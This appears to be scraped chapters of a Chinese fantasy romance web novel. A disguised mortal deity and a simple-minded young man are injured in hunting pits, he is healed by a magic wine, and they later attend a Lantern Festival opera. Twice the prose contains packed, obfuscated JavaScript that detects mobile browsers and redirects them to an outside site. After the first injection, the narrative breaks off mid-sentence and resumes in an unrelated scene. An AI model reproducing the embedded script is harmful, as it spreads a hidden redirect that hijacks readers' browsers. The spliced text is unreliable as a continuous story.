两人变成一个大蝉蛹,躺在芭蕉叶上,酆小洪特意将第五茗放在火堆这一方。 刚躺在地上,凉意比较重,第五茗打了一个寒颤,嘴里不禁漏出一串小小的惊呼,声音脆脆的、糯糯的,还有点黏糊,她把脸颊抵在酆小洪胸膛,慢慢地缩进了干草里,缩进了酆小洪的怀里,弄出一阵布料摩擦簌簌的声音。 加上火堆里,时不时会响起啪啪啪的木炮响… 两人这一幕,和深山夜间细微的响动,落在十一伯还没闭上的眼睛里,与那双听力敏锐的耳朵里,仿若让他再看了一场年轻时候误撞的春闺事。他心里虽然知道火堆对面的两人什么也没做,但老脸却不由自主地羞红。 他无助地转了一个方向,背对两人,强迫入睡。 三人在山里休息了一夜,第二日天刚见亮,第五茗和酆小洪就在十一伯的催促下,赶往布下陷阱的山林深处。 二人吃了肉,睡了一个饱觉,精神抖擞,兴致满满地去收罗坑里的山货。 第一个坑,有倒是有,不过是几根昨晚他们见过的山鸡毛,和坑里凌乱横倒的木箭。 第二个坑,也有东西,他们铺在面上那一层草叶,全落了进去,坑里除了这些,没有一点活物的影子。 第三个坑,这回倒是没有东西了,连他们布置好的伪装,都还稳稳当当地留着。 第四个坑、第五个坑…直到第八个坑,两人均一无所获。 不是陷阱被山石填了,就是面上的东西都掉进去了,或者里面留点毛和羽,还有好几个陷阱,同第三个坑一样,动都没有动过。 第五茗仰天大喊,骂道:“真是不开眼,至少八个坑,要给一个活物填进去啊!!!真是太抠搜了!!” 话还没说完,第五茗脚下一呲溜,摔倒在地。 酆小洪动作迅速,拉住了第五茗,把她圈进了怀里,双双缠绕,滚下了山坡。 两人停下来的时候,恰巧落在了那一个被山石填满的陷阱坑里。 半个身子,凹在里面,酆小洪龇牙咧嘴,疼痛难忍。 第五茗心有余悸,摸向酆小洪身下,那坑中并不柔软,除了有坚硬的山石,还有微漏尖端的木箭。 她庆幸道:“还好这是个填满的…” 第五茗爬了起来,把酆小洪从坑里一把拉出,她绕他转了一圈,掀开衣服查看伤势。 这不看还好,一看让第五茗心跳漏了一瞬。 昨天,酆小洪背上摔出的红印,已经发青发乌,满背都是那些痕迹,除开淤青,现在又多了几处划痕,口子不小,刚摔下来,皮肤紧绷,只在口子中的白肉渗出一些血珠,此时稳定下来,那豁口越来越红,血也成了线。 四肢虽未摔断,却都多多少少蹭上了厚泥和水汽,至于布料下的肌肤,第五茗不用去瞧,也知道伤的不轻。 她十分担忧,脱下酆小洪外衣,撕成条,绑压在酆小洪出血的后背,问道:“疼吗?还有没有其他地方受伤?” 酆小洪摇头道:“不疼,没伤。” 第五茗道:“你是真傻吗?连疼都不知道了!!” 她挽起酆小洪晃荡的袖子和裤腿,见手臂和腿伤都只是一些红肿的小块,并未像预想的那般惊心触目,心里才安定下来。 二人脸上都蹭上了泥土,酆小洪伸手替第五茗擦脸,收回来时,指着第五茗问道:“受伤,疼吗?” 酆小洪模样更狼狈,第五茗虽然好不哪里去,可从身上的污渍看来,她明显没受多少伤。此刻,他却不顾自己安危,在关心被他保护的人。 第五茗心里有些异样的难受。 她说不清,道不明。 她垂目道:“我没受伤,我也不疼。我们去找十一伯下山吧,你身上的伤,需要尽快处理。” 酆小洪点头会意,任由第五茗牵起他的手,两人一起往来时的路走。 路过一个捕了几根野鸡毛的陷阱坑时,第五茗气不过,蹬脚,踢了一块石头进去。 应声,石头落进了坑里。 同时,她收回了脚,却不太幸运地,左脚拌右脚,把自己也踢进了坑里。 若说她不幸运呢,于她本身而言,她又是太幸运了。 她手上还拉着酆小洪,在摔进坑里的时候,因为两人双手间的牵扯,以及酆小洪阻拦她的动势,让酆小洪先她一步扑进了坑里。 可想而知… 他们再度掉进了坑里,酆小洪不出意料地又垫在了她的身下。 第五茗落进坑,身下软软的,依旧没有受到多少伤。 她心里懊恼极了。 酆小洪眼睛紧闭,呼吸深沉,隐忍不发,上下嘴唇紧抿,眉头蹙在了一块,宛若昏了。 第五茗飞快地从酆小洪身上爬了起来,蹲跪在酆小洪身边,双手想上前又没敢上前,一缩一撤,犹豫了一刻,终究是害怕地收了回来,转头仔细查看坑内形势。 她目光凝重,心下庆幸道:幸好掉了野鸡进来,把木箭都折腾弄倒了。 酆小洪全身发麻,笔直地躺在坑中,一动不动,不停地连连哼气。 他醒了… 地上人的变化,把第五茗的注意力吸引了回去,她欲言又止,唤道:“小洪…” 脑袋埋在鸡毛中,酆小洪抬不起来,他看不见第五茗,听见第五茗声音有些发抖,急忙应道:“不…疼,很…好…” 七断八续,两词好不容易讲完,他重重地深吸了一口气。 见状,第五茗喉间一噎,眼眶微红,语似打趣,埋怨道:“我又没问你疼不疼,也没问你伤没伤,你怎么能自己回答呢…” 不过片刻,坑内又传来酆小洪的声音,道:“受…伤?疼吗?” 熟悉的语气,熟悉的关心…第五茗低吟道:“我没受伤,我也不疼。你还能动吗?” 半晌,第五茗都没再收到酆小洪的回话,只能听见另一人在坑里粗喘的呼吸声,一如刚掉下来的时候。 她心里越发不安:伤得这么严重… 怎么会这样?? 他身上并没有出现死气…为何会有伤劫? 她鼻尖发酸,叫喊道:“小洪…你还醒着吗?” 许久,坑内只有呼吸声,第五茗放弃挣扎了,闭眼坐在地上,辨别坑里另一人的呼吸是否停止,感受地势低洼的坑里是否会吹进来凉人的阴风。 趴着的酆小洪猛然大喘一口气,小小地咳嗽了两声,缓缓地,无问自答道:“我…在,没…事。” 他手臂弯了弯,双手撑在地上,双膝跪了起来,磕磕碰碰爬到了坑壁旁,好大一会儿,方才背靠凹凸不平的泥墙坐着,道:“累了,休…息。” 这时,第五茗踉踉跄跄地坐到了他身边,扶住他发软的身子,给他借力。 用衣袖给酆小洪擦干净了脸上的泥土,第五茗拧眉道:“嗯,你累了,我们就先不急着下山,你休息一会儿。如果太疼了,便告诉我,如果太困了,就睡吧,不用急着醒过来,不用担心我,好好睡一觉。” 须臾,酆小洪半张阖眼睛,慢慢地把头靠在了第五茗肩膀上,真的如累了一般,彻底闭上眼皮,昏睡了过去。 还有体温…第五茗双指探上酆小洪的颈上脉搏。 还在跳动…她明显感觉到力度越来越弱。 伤劫。 死气。 顺序颠倒了,却和命数最后的征兆同出一辙。 她颤抖地把酆小洪的胸前衣襟扒开,果然,里面是重伤的痕迹,横七竖八木棍样式的暗紫,那是挤压受了严重内伤,出了淤血后才会有的印记。 第五茗黯然,闭上了眼,静静感受秋日午后,是否会吹起一阵阴风。 她能做的,就是送他最后一程。 不知道过了多久,没有睁眼的第五茗,身上太阳的温度越来越少,却是一直没感受到坑中其他变化。 这期间,坑里从未刮起阴风,且坑内另一人的呼吸也并没有消失,她呢喃道:“无常小七,你什么时候能到?若是他的命劫是今日,烦请早一些让他咽气吧,那一身伤…很疼的。” 没有人回答她。 也没有鬼和阴风回应她。 半日过去,天色渐黑,天上没了太阳,坑里没有阴风吹进来,气温却是越来越低,第五茗身体越来越冷,开始哆嗦、发抖。 她旁边的人,呼吸渐渐平稳了,她反而忍不住夜里寒冷,大口呼气。 一阵大过一阵,掩盖住了酆小洪的声音。 第五茗睁开眼,咬牙寒颤道:“太…太冷了。” 语毕,她猛地被一个暖暖的身子圈住了,酆小洪的声音在她头顶响起,道:“我们,回去。” 第五茗低头看向面前那双熟悉的大手,双眉紧蹙,一副不可置信的模样,这时,耳边又响起一语,道:“你冷,回家。” 回光返照?! 第五茗小心翼翼地转回身查看。酆小洪精神大好的脸色,映入她的眼睛,她抬手抚上对方颈间,不确定道:“你…还好吗?” 酆小洪点头道:“很好,能走。” 他连说话的气息,比第五茗的听起来都要稳… 第五茗扒上酆小洪半敞的衣襟,那深紫淤痕已经散了,仅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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酆小洪在黑夜里闷哼一声,第五茗得了他的借力,落下来时,没有那样猛烈,两只腿,插缝站在了坑地上,大腿和小腿落下来的时候,在木箭上摩擦了几处,有些火辣辣地疼。 顷刻间,第五茗感觉到小腿上浸染了一股温热,由后蔓延,来自背后抵靠的人。 同时,伴随而起,一股血腥味在坑里四散。 第五茗惊问道:“你受伤了?是不是流血了?严重吗?” 坑上只塌了一半遮掩,坑内光线不足,第一时间,眼睛适应不过来,第五茗根本看不清坑中状况,只能猜。 酆小洪声音不稳,冷吸一口气道:“没事,不…痛。” 对方回答的间隙,第五茗从酆小洪怀里挣脱出来,正在弯腰去拔坑里的木箭,直到拔到酆小洪近身处的几根,她手上摸到黏糊糊的液体,尤其靠在酆小洪腿边的一根木箭,上面挂了软嫩的肉渣,她才意识到酆小洪伤得不轻。 酆小洪答的话,她一字都没有听进去,失神颤抖地伸出手,攀上酆小洪的身体,道:“还能…还…” 突然,第五茗手上重量晃动,前倾靠来,肩头重重压上一个人,紧接着,把她一起压倒在她刚拔了木箭的泥坑一侧。 第五茗作为人,第一次因为疼痛,啜泣出声来,深呼几口气后,细细回忆道:“今日三坑,均是我挖,今日三坑,皆因我伤,对不起…怎么会这样。” 自语间隙,她脑中猛地一叮,想到什么,自问道:“自己挖坑,自己踩…司命不可能写这样的命数,只有我的命格簿子…有可能画出这样奇葩的衰命伤劫。难道…难道今日都是你在替我挡劫?” 多想了几遍,第五茗就摇头否定了,她放血写命那日,并未给安排这样的一节内容… 定是其他原因。 第五茗疼得厉害,加上脑子拼命地转动,疼痛就更加剧烈了。 她打算先起身,然而酆小洪身量比她高大,虽然两人常年食不果腹,浑身没有二两赘肉,但酆小洪的骨量还是很重的,重到她此刻根本动弹不了。 想了一刻,挣扎了一刻,疼了许久,第五茗终于冷静下来,回忆起这个坑的细节,猛然想起这个坑离十一伯看守的地方距离不算太远,她奋力嘶喊道:“十一伯!十一伯!!!有人吗!?十一伯…救命!!” 她第一次喊“救命”,对于她这种万年间死倔不服的人来说,这两字好似特别有灵气。 刚喊完一遍,十一伯的声音便出现在了坑顶上,道:“蒲小明?酆小洪?是你们在下面吗?” 他扒开剩下的草皮伪装,朝下探头搜寻。 第五茗早适应了坑内的黑暗,从酆小洪身下,侧处脑袋,向坑口的光亮处,高兴喊道:“是是…是!十一伯,是我们!!” 立即,她描述道:“小洪受了伤,很严重…我们上不来了。他腿上划了大口子,流了很多血,还在流…我没力气,他压在我身上,我推不开,我们也上不来…” 她一句话说得乱七八糟,慌乱无助。 活脱脱的真如一个人样。 原来,簿子上衰运无用的人,遭遇凄惨坎坷的命数时,是这副模样。 但凡她是一缕魂魄,又或是回到做司命那段时间,她怎会如此狼狈,如此不堪。 或者,倘若她有一点带神格法力的血液,亦或是一点残余的仙力,都能让这件事变得简单,别说是让酆小洪伤口痊愈,活蹦乱跳,指不定连对方的痴傻病症也能一起给治好了。 可惜,这些东西,此刻她都没有。 噔——第五茗脑中一炸。 作为普普通通的凡人时,竟会开始渴求那无所不能的力量。 放不下神格,放不下法力,放不下仙职…这才是心中最真实的想法? 太可笑了… 万年来的执着,不过是一场笑话。 她有一刹那怔愣,随后,恢复理智,思绪回到凡人身,努力回应十一伯,等待被救出去。 坑口,十一伯镇定道:“别急,你扯下外衣,先给他伤口止血,我马上下来带你们出来。” 十一伯是一个经验老道的猎户,他摸黑找了草韧做成绳索,将两人弄出了坑。 三人急匆匆下了山。 75. 二十载风雨一世6 到平安村时,天已大亮,第五茗方瞧清了酆小洪的伤势。 脸色煞白,嘴唇无色,呼吸孱弱,衣服上全是血渍和泥土,裸露在外的皮肤,不是淤青红紫,就是划痕豁口,最严重的是那一双腿,裤脚因木箭竖着拉成了一块布,在布头衔接的缝隙处,两条腿上从下至上,深浅不一,凹凸不平地敞开一个大口子。 皮肉翻卷,些许地方漏了白骨,小腿和脚踝处有些皮肉都不见了…血还在不停地往外沁。 把人放在床上后,十一伯双眉紧锁,神情严肃,道:“即便是缝针,他这情形怕是也止不住血的…” 第五茗硬着头皮道:“十一伯,你替他缝针吧,我出去找找,看有没有止血补血的药。” 十一伯道:“平安村里没人懂医,寻不到的,按照他这血流的速度,不出半日,人就干了…” 第五茗毅然道:“十一伯,我能找到止血的药,你替他缝针,救他一命吧。” 十一伯摇头叹气,道:“这也怪我,是我提议带你们入山的,不然也不会出这一档子事。” 第五茗想起这几日发生的事,道:“和十一伯你没有关系,是我拉他去做了不该做的事,他替我受罚呢。” 两人纷纷把责任往自己身上揽,十一伯留在屋里为酆小洪的伤口缝针,没过两个时辰,第五茗就抱回了一坛子烈酒。 那酒好啊… 十一伯从未见过这么香醇的酒,他却不明白这怎么就是药了。 眼睁睁看着第五茗给酆小洪的腿上淋了烈酒后,那血慢慢地止住了,更神奇的是,第五茗把剩余的酒全喂给了酆小洪,本来重伤昏迷不醒的人,醉睡到第三日,居然就再无大碍地醒了过来。 那坛酒,还真是药。 第五茗没有解释,十一伯也不好多问。 十一伯是一个嘴严的人,两人相拥入眠的事,他不曾对外人说过,连酆小洪重伤痊愈,全靠一坛酒的事,他在村里也是只字未言。 其实,那日出门后,第五茗并没有急着去寻救命的东西,而是在院子里,拿一根树枝,在地上细细卜算起她的那本命格簿子。 她给自己写的命数,她都记得,里面的劫难自然是再清楚不过。 若想破此局,除了靠仙力,其实还有一个办法,那就是解命劫。 首要的,她便是要弄清楚,究竟为何会发生这些事。 这几日,命数中出现的异常,第五茗估算了一番,不外乎是和十一伯与酆小洪有关。 期间,大体有三个差错… 第一个差错,出在她这一世做人本应该清苦,绝无口福,但在上山前一日却突然吃上了肉食,上山当日还饱餐了一只野鸡,这实乃逆了清苦命,所以她合该受罚。 第二个差错,便是跟随十一伯上山学猎山货。酆小洪摘下酸涩青果给她吃,落坑久久不得人救时,应当就是在警告她了,可她偏没有所察觉,吃了果子,还继续挖坑。 第三个差错,原则上不是她命格簿子中的劫难,多半是她寻坑搜货时,一时没管住嘴,骂了天… 三个差错,三份责罚,其中唯有一点,她有些想不通,这些事情明明违的是她那份命格簿子,可为何惩戒都落在了酆小洪身上。 她理不清,也想不明白。 在院子中,第五茗盘算完毕,心中有数,捉摸了一个办法,就直奔后山而去。 在入山档口,她摆下阵法,想引诱精怪现身,捕猎丹心精血,结果,她蹲坐在土地庙旁,居高临下,守株待兔,片刻功夫…到叫她遇见了从野果子树下、土地庙中,突然显现身形的酸楂。 于是,便有了她同酸楂打赌「八核野果子」,赢回了一坛非凡烈酒的纠葛。 那酒里面,肯定藏了奇丹妙药,竟连酆小洪一言吐四字的毛病,一并给治愈了。 十一伯时时称叹:“大难不死,确有后福!前人之言,诚不欺我啊!!” 有此教训,之后的时日中,第五茗从十一伯那里拿的好东西,在别处得的“小宝贝”,或是无意间捡的不错玩意儿,她都统统全给了酆小洪,真真让酆小洪过上了舒坦日子。 而她,按照簿子所写,安安稳稳地,在平安村的酆家小院里,做衣不裹体,食不果腹的“小乞丐”。 直到风雨江上任了一位新的官大人——郤人杰。 风雨江水得到疏治,两岸村落的日子越发好了起来,流浪乞丐皆有饭可吃,有衣可穿,有屋挡雨,所有人都提高了一个生活境界,第五茗的清苦命,自然顺应天道,渐渐地不需要过得那么苦了。 好些人被郤人杰征召了去做事,随势应机,第五茗拉了酆小洪一起去应征风雨江上的差事。 八年时间晃眼而过,第五茗日子是越过越舒坦,以至于,她都快忘了命数桎梏生灵的那些糟心事。 风雨江中的安稳,让大安国内,天下承平,时和岁丰,连带平安村这种小地方,也得了不少好处。 离平安村最近的东河镇,第一次在上元节时,锣鼓队伍游走到了平安村。他们一路走,一路唱道:“风雨江,东河镇,城隍庙,花灯亮,风雨江使,请来戏班,邀你携妻带子,瞧热闹。” “风雨江,东河镇,城隍庙,花灯亮,风雨江使…” 热热闹闹,传遍辖地内的二三十座村庄。 不论男女老少,都十分好奇,更别说平安村上上下下这两百号人了。 平日里,风雨江修筑一事,平安村主要负责在山背后的石料场开采石料,每三五日有一轮差役来收走石料,他们可以用石料换得银钱和粮食。 郤人杰作为风雨江使,是历来最大方的一任官老爷,给每村的工钱都不少。 村民手里有了闲钱,在东河镇,顺江水又运下来不少稀奇物件,他们早就盼着上元节停工,去凑凑热闹。 年末的最后一日,收尾的差役挨村挨乡,再次转达了同锣鼓队伍相同的话,说是风雨江使请了戏班子到东河镇,上元节这天晚上,会在城隍庙外免费演戏给大家助兴,让没啥大事的父老乡亲,都可以腾出时间去瞧瞧。 “三请五催”,怎么可能不动心。 就算真有什么事,估计也放一边了… 这其中,自是包括那第一次做人的第五茗。 上元节当天,白日里,东河镇就商贩云集,人山人海,已经挤不动了。 第五茗一手拉紧酆小洪,一手拽上十一伯,三人跟在平安村一众人的身后,东走走西瞧瞧。 出来玩,十一伯作为长辈,备了些小钱傍身,顺理成章,看见适合两人的,都会出声询问一番,打算买来送给两人。 然而,路过好些不错的摊子,十一伯刚出言问了两句,就被第五茗用往常拒绝他的理由,给推诿了。 一路走来,同行人都收罗了不少东西,他们三人却是一样没买。 兴致缺缺,围着东河镇走了半圈,众人寻了河岸的梯步坐下休息,十一伯也借口留了下来,第五茗和酆小洪两人便跟了其他人继续往下走。 呃…后半程这一截路,若是十一伯继续跟着一起走下去,定是要吃惊的,再不然,心中不开阔,必是会生出点小心思。 怨道:这第五茗怎么还“客套”上了… 毕竟,前面的,她是啥都不要,后面的,她是见啥要啥。 她遇见“好吃”的,买一点,酆小洪掏钱… 她遇见“好玩”的,挑一样,酆小洪掏钱… 她遇见“好看”的,选一件,酆小洪掏钱… … 不过,买的都是几文、十几文的便宜货。 而第五茗之所以见着稍稍入眼的,就大买特买,那是因为她在泄愤。 原来,与十一伯刚分别后,两人就遇见了一个酒贩子。 阳酒,是第五茗此行最想要的东西,也是她这一世,最期盼的东西。 可惜… 一问价格,半两银子一坛。 正逢节日,一坛五斤,不散卖。 这些年,两人总共存下的银子不足五钱,根本不够买一坛酒。 第五茗失落,酆小洪无奈,两人继续跟着队伍往前走。 今日,酒是最好卖的货,走了几个摊位,都没有散酒售卖,第五茗越想越气,越琢磨越恼,便找了事情来发泄。 一番怒买,她也没花多少钱,可能因为她只能捡那最低下的东西去买吧…尽管如此,第五茗还是起了些兴致,玩得不亦乐乎。 酆小洪身上拿得越来越多,东西高高垒在了他眼前,挡了视线,好几次都踩在了第五茗的鞋履上。 见状,第五茗连同东西,把酆小洪一起交到了十一伯手上,又继续跟着其他人,脚下不停,四处玩逛。 河岸处,十一伯看了眼周围的大包小包,感叹道:“买这么多?” 伸出手,摸上一个温热的纸包,十一伯问道:“这是什么?” 他还没打开纸袋,酆小洪道:“番薯,烤过的。” 十一伯手上一顿,闻到纸包上传来的熟悉气味,双手赶紧把口子封了回去,蹙眉道:“女娃子不是嫌这东西噎得慌嘛…怎么还花钱买。这又是什么…” 一大把长长的竹篾子,两头形状各异,瞧着不像是“筷子”。 十一伯放下了烤红薯,拿起就近的一个竹筒打开,一脸惊奇。酆小洪扫了一眼,道:“贩子叫这东西「挑棍」,好像是一种游戏。” “哦”了一声,十一伯挑挑拣拣,又拿起一个木盒子,里面是一根歪歪扭扭的木枝,他不解道:“这是簪子?” 酆小洪点了点头。 十一伯额角轻跳,凑上前,看了看其他东西,呢喃道:“女娃子以往最会过日子,今天怎么了?怎么买这么多没啥用的…怪浪费钱啊。” 酆小洪埋头整理的动作停了下来,道:“最想买的东西买不到,她心里不开心。” 好一会儿,在十一伯的怔愣中,酆小洪若有所思,似在抱怨,道:“她现在暂时抵抗不过,从她手上只能买这些无用又糟心的东西。” 十一伯听不明白,当做痴儿的傻言傻语,关问那句“想买的买不到”,道:“若是有相中的,十一伯这里有些钱,你们两可以拿去用。” 闻言,酆小洪并未搭话,低头整理那堆东西。 没人搭理,十一伯的主动,显得有些尴尬,他不好再接着劝,闭了嘴,静静坐着。 不知道过了多久,坐下休息的人,换了一波又一波…河岸的梯步上,人也越来越少,不如刚来时拥挤。 等到第五茗再度回到河岸的时候,天色已经不早了。 东河镇上的游人,纷纷在往城隍庙门口走去。 第五茗站在台阶最顶上的一层,像其他人一样朝梯步下方人群挥手,大喊道:“小洪,十一伯…快上来,我们去城隍庙看戏!” 明媚皓齿,忧郁之色全无,甚至还有些兴奋。 不过,她脸上又多了一份着急,随即,便听见她嗓音不减,继续道:“晚了,就没位置了…” 酆小洪眼眸流转,心底一松,嘴角轻轻笑了笑,听话地起身,向台阶上走来。 第五茗立马摆手阻止道:“天黑了,路看不清,牵上十一伯,小心些!!!” 十一伯半起的身子,闻言一顿,跟着也嘴角起弧。他在酆小洪劲道不小的拉扯中,腾的一下从石阶上站了起来,身形踉跄。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739286|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得亏,酆小洪拉他起身后,立即半扶了他的手臂,他不至于仰翻摔倒。 十一伯心道:一个心细,一个莽撞…唉,这么相看下来,两人倒是挺般配的。 殊不知,天黑暗沉,第五茗是因为自己眼睛不好,方才联想到让酆小洪顾忌十一伯一分,并非一开始就心思缜密地在为十一伯考虑。 至于酆小洪,他嘛…痴儿身,很多时候都身不由己,现下能自如说完整两句话,已是用了最大的能力,更多的便做不了了。 不然,第五茗日思夜想的阳酒,他该是早早就弄来给她了。 站稳身子,收拢心神,十一伯颤颤巍巍道:“你们两跟他们先去吧,不用管我。” 酆小洪四肢僵硬,拖动十一伯的举动未有停缓,嘴上流畅道:“不行,她想你一起去。” 十一伯脚下开始被迫爬梯,道:“慢一点总行了吧?” 酆小洪摇头道:“不行,她很着急。” 十一伯叹息道:“我就说我不来嘛,你们两非要拉我一起来。” 酆小洪正声道:“不行,她心里放不下你。” 他自从那次大难后,一次说两词,变成了一次能说两句话,偶尔还可以一心多用,不过在一心多用的时候,往往第一句话,又会变成一个词。 十一伯嘴里一噎,爬了两梯,心中冒出一个想法,道:“小洪,你想不想娶小明?十一伯去给你说媒。” 酆小洪脚下一顿,停在原地,朝台阶上方的第五茗望去,低沉道:“不行…小明不能嫁。” 他突然停下,让十一伯向上走的身子,半边朝后拽了一下,摇摇晃晃,差点摔了下去。 十一伯抚摸胸口,定神问道:“怎么了?” 酆小洪眼眸深凝,复述道:“不行。小明不能嫁。” 十一伯道:“你心智不全,但你心地好,小明可以嫁给你,你不要…” 酆小洪转头看向十一伯,打断他的话,严肃道:“小明不能嫁,我也不能娶。” 因是孤寡命,独身一人,没有娶妻生子,十一伯时常羡慕别人阖家美满,相互依靠。故以数年前会主动张罗带两人上山,教酆小洪入山寻谋生。他是希望两个小孩,至少其中能有一个,可以过上温情的好日子。 时至今日,他放弃了那番想法,方才又猛地觉着两人其实挺搭的,便在刚刚萌生了要撮合两人真正在一起的想法。 见痴儿一直拒绝,十一伯讪讪地道:“好了好了,不给你们说亲,你们就这样过,也是一样的。” 酆小洪神情哀默道:“十一伯嘴严,不要同小明胡说这种话。” 十一伯点头道:“好好好,听你的。” 四周太吵闹了,第五茗看见石阶下的两人站立不动,嘴上张合,根本不知道他们在谈论什么,催道:“怎么停下了,快些上来啊!” 去往城隍庙的路上,人群密密麻麻,拥挤不堪。第五茗责怪道:“叫你们早些上来,看吧…人越来越多了。等我们到了,估计都没位置看戏了。” 十一伯一副很懂行的模样,道:“女娃子话说错了啊!这戏呢,不是用来看的,是要用耳朵去听。要知道,那入了班子的角,声音宛如夜莺,悦耳得不得了…” 第五茗眉眼微凝,狐疑道:“十一伯你看过戏?” 十一伯尴尬地挠挠头,道:“没…没看过,但以前在路上听从城里来的人说过,应…应该就是这样的。” 人与人挨得近了,这说话就避不了他人耳。 第五茗没来得及张口,紧接十一伯那支支吾吾的一段话,答复一句,十一伯身侧一位妖娆的妇人,嘻嘻笑道:“老伯,你这话说的是大错特错,那唱戏的角,除了听他那一嗓子,还得再瞧一瞧他的身段,亮相、站相、抬步…哎呀呀,反正就是你不仅得听,你还需得看!” 第五茗和十一伯齐齐点头赞同,周围不少第一次看戏的山中乡民,异口同声,称赞道:“嫂嫂,行家呀!!” 第五茗嘟囔道:“都怪你们…磨磨蹭蹭,肯定看不上戏了。” 那妖娆的妇人,好心宽慰道:“小姑娘心真急,官大人请了一夜,唱到散场才会停,有好几轮可以听呢,千万别戏还没听,先把兴致败坏了。” 妇人步伐左拐右拐,和她说的话一般,周围的人都没怎么见过,不置可否地纷纷表示:“有道理。”“学到了…”“很受用。” 第五茗尴尬道:“我就嘴上说说…” 那妖娆妇人被吹捧得有些高,说话开始飘起来,道:“小姑娘,话怎么能是随便说呢。待会儿到了戏场外,你的一言一行,可都是对那角的点评,你若是不好好管住这张嘴,到时候角伤了心,万一他不唱了怎么办?” 第五茗一愣,道:“有这么严重?” 十一伯拧眉道:“不至于吧…” 其他人没看过戏,不敢多发言,目光却是幽怨的,因为他们可不想白白错过了热闹。 那妖娆妇人轻笑道:“我以前常在城里听戏,自然是比你们这些没见过的人,要知道得多一些。这其中的规矩,方才两句话,是未向你们说明白,这里面学问大着呢,我今日心情不错,倒是可以细细讲给你们听听…哎!你们!!你们等等啊…” 原是妇人周遭的同行,全一窝蜂往前赶去。第五茗心里发怵,脑子嗡嗡,拉了酆小洪和十一伯,把步子迈得更大了一些,两三步离开了那妖娆的妇人,其他人见状,脚下也跟着走快了几步,不约而同,从这里逃脱。 妇人在后追着向他们讲“规矩”,不一会儿,众人就到了城隍庙前。 此间,人并有他们想象的那般多,朝这边走来的一多半人,大都是为了看花灯,看杂耍。 76. 二十载风雨一世7 庙前的戏班,因为没有戏台子,简陋,又凄凉。 两名角儿直接在一进一屋的庙宇大门前,那方空坝子上唱了起来。 声音是好听的,步子挪动的技法也甚是奇妙,只是…戏班子看着有些不尽如人意,有些潦草,有些随意,不像是什么大班底,旁边敲锣打鼓的配乐,堪堪只比唱戏的角,多了一人。 两人唱,三人敲…盘腿坐下围观的人,看过戏的,和没看过戏的,脸上俱是失望。 当然,有失望的,也会有不失望的。如第五茗他们三人,没见过这些东西,第一次看唱戏,打心底说不出的稀奇。 不稍一会儿,那妖娆妇人到此,见状后,嗔道:“就这…亏我大老远翻了两座山头走过来,还不如去瞧旁边的杂耍呢!” 没听上两句,那妖娆妇人便极其不满地走向了另一边。 本来安静的场地,有些同她一样,对戏曲有一点了解的,又苦于近些年日子艰难,只能在这里看一场野文戏的人,开始忍不住嘴碎吐槽: “这都是什么啊!比起郡城里的戏,简直也差太远了吧。” “的确是有些不怎么样…” “先不说班底!谁上元节会选一出《锁灵囊》,怎么也得来一出《天官赐福》啊!” 第五茗虽写过不少命格故事,但却是头一遭听戏,攀问道:“这戏不好吗?” 还没等那人答复,戏台上的唱词演至中段,让第五茗越听,眉毛蹙得越深,瘪嘴道:“这都唱的什么,糟心。” 那人接话道:“可不是嘛,过节就应该挑些更兴庆的才对。只是圆满结局,前期却坎坷不断,不应景…” 临近的,前方端坐的一人,侧转身来,替唱戏的角辩解道:“人家是京都来的班子…你点《天官赐福》,怎么不点《财源广进》呢?人家会唱你地方上的曲目吗?真是瞎胡闹。” 那抱怨的人,怒道:“我怎么就瞎胡闹了…” 他正好看向第五茗。 第五茗眼睛转了一个方向躲避,看见斜前方有熟人,岔开这人的目光,朝斜前方的人招呼道:“娟儿?宝子!你们也在这看戏呢?你们都要成亲了,婶子还能放你两出来?” 娟儿害羞地笑了笑,把头埋进了宝子怀里,宝子则满脸羞红道:“娟儿想看戏,我带她来瞧瞧…马上就回。” 语意不清,第五茗却从他们的动作中,读出了一丝偷偷摸摸,尴尬地转动脑袋,不小心又撞进了那抱怨戏曲的人眼里。 第五茗正想再找一个由头把话岔开,十一伯在她身后戳了戳,道:“换一个位置,我眼睛花,坐近一点才看得清楚。” 顺理成章,第五茗和十一伯换了一个位置,挨着酆小洪坐下。 而十一伯在前方落座时,眼睛不明深意地在酆小洪身上打量了一圈。 他刚回转头瞧戏,那抱怨的男子凑近道:“正好,老伯看着像见识广的人,你适才离我们也不远,定是听到了,你来替我们几人评评理。” 尴尬轮到了十一伯身上,他哪里懂什么戏曲,面露难色道:“我…我觉得都挺好的。” 那抱怨的人道:“挺好?” 闻言,另一位辩解的人不满,发问道:“什么意思?” 两人齐声针对十一伯,不谋而合,鄙夷道:“老伯,你懂戏吗?” 十一伯皱眉不语,第五茗在身后看热闹不嫌事大,替他作答道:“他不懂戏的,和我一样,你们少问两句呗。” 那抱怨的人指着第五茗道:“你这人…” 他话还没说完,酆小洪一把拉过第五茗,挡在那手指面前,凌厉地瞪了过去。 那抱怨的人不知酆小洪是痴傻之人,害怕地把手指缩了回去。 见状,十一伯和第五茗捂嘴,偷偷乐呵地笑了起来。 突然,涌出来一男子,正义道:“好了好了,有得听就知足吧。想想前几年都过的什么日子,如今倒是悠哉了,都有闲情争论戏折子了。” 那抱怨的人,嘟囔道:“官大人客请江岸百村看戏,不就是为了让我们舒快舒快嘛,老兄,你何必这么较真呢。” 第五茗瞥了一眼,不甘心地揶揄道:“是你先较真的…” 她仔细听了两耳,补充道:“这唱词是听着不对,可锣鼓响板听起来倒是挺欢快的,唱词的角,声音也好听…别人如此卖力,你轻飘飘一句,曲目选得差,就抹了别人的一切。” 她在酆小洪的护佑下,朝前面男子,噘嘴道:“老兄,你做人可真不厚道啊。” 那辩解的人满头疑问,回忆起先前各自的言论,不确定地咕哝道:“唱词不对…不是你说的吗?难道我记错了…” 